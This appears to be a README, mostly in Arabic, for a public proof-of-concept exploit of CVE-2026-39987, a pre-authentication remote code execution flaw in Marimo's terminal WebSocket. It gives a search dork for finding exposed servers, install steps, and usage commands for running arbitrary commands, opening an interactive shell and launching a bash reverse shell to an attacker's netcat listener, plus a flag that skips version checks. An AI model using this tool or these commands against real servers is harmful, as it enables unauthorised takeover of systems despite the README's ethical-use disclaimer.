
CVE-2026-39987 أداة استغلال - Marimo < 0.23.0 RCE قبل المصادقة (WebSocket)
أداة إثبات المفهوم (PoC) لاستغلال ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) قبل المصادقة في إصدارات Marimo الأقدم من 0.23.0.
تتيح هذه الثغرة لمهاجم غير مصادق الاتصال بنقطة نهاية WebSocket (/terminal/ws) وتنفيذ أوامر نظام تعسفية على الخادم الهدف.
/api/version).--no-check للبيئات التي قد تكون نقاط النهاية فيها محجوبة.يمكنك استخدام الاستعلام (dork) التالي لتحديد الحالات التي قد تكون معرضة للخطر:
http.favicon.hash:-1864630356
يُنصح باستخدام بيئة Python افتراضية لتثبيت التبعيات.
# 1. Clone the repository
git clone https://github.com/M3PH1569/CVE-2026-39987-POC.git
cd CVE-2026-39987-POC
# 2. Create and activate a virtual environment
python -m venv .CVE-2026-39987
# Windows
.CVE-2026-39987\Scripts\activate
# Linux/macOS
source .CVE-2026-39987/bin/activate
# 3. Upgrade pip and Install required dependencies
# Windows
py pip install --upgrade pip ; pip install -r requirements.txt
# Linux/MacOS
python3 pip install --upgrade pip && pip install -r requirements.txt
usage: CVE-2026-39987.py [-h] [-i] [--revshell IP PORT] [--ping-interval SEC] [--ping-timeout SEC] [--no-ping] [--max-retries N] [--no-reconnect] [--no-check] target [command]
positional arguments:
target Target URL (e.g. http://localhost:8080)
command Command to execute (omit when using -i)
options:
-h, --help show this help message and exit
--no-check Skip vulnerability version check
Execution modes:
-i, --interactive Interactive shell mode
--revshell IP PORT Generate & send a bash reverse shell payload
WebSocket tuning:
--ping-interval SEC WebSocket ping interval in seconds (default: 30, more frequent for stability)
--ping-timeout SEC WebSocket ping timeout in seconds (default: 300, increased from 120 for slow servers)
--no-ping Disable WebSocket ping/pong entirely (recommended if still disconnect)
Reconnect options:
--max-retries N Max auto-reconnect attempts (default: 5)
--no-reconnect Disable auto-reconnect on unexpected disconnect
1. تنفيذ أمر واحد:
python CVE-2026-39987.py http://target.com:8080 "id"
2. تشغيل صدفة تفاعلية:
python CVE-2026-39987.py http://target.com:8080 -i
3. تنفيذ reverse shell:
تأكد من تشغيل مستمع netcat على جهازك (مثل: nc -lvnp 4444).
python CVE-2026-39987.py http://target.com:8080 --revshell 10.0.0.1 4444
4. تخطي فحوصات التحقق وفرض التنفيذ:
python CVE-2026-39987.py http://target.com:8080 "whoami" --no-check
المساهمات مرحّب بها! لا تتردد في تقديم طلب سحب (Pull Request).
git checkout -b feature/update-feature)git commit -m 'Add update feature')git push origin feature/update-feature)هذه الأداة مخصصة للأغراض التعليمية والاختبار الأخلاقي المصرح به فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو أضرار أو أنشطة غير قانونية ناتجة عن هذا السكريبت. تأكد دائمًا من حصولك على إذن صريح من مالك النظام قبل إجراء أي اختبار أمني. الاستخدام غير المصرح به لهذا السكريبت غير قانوني ويعاقب عليه القانون.
هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.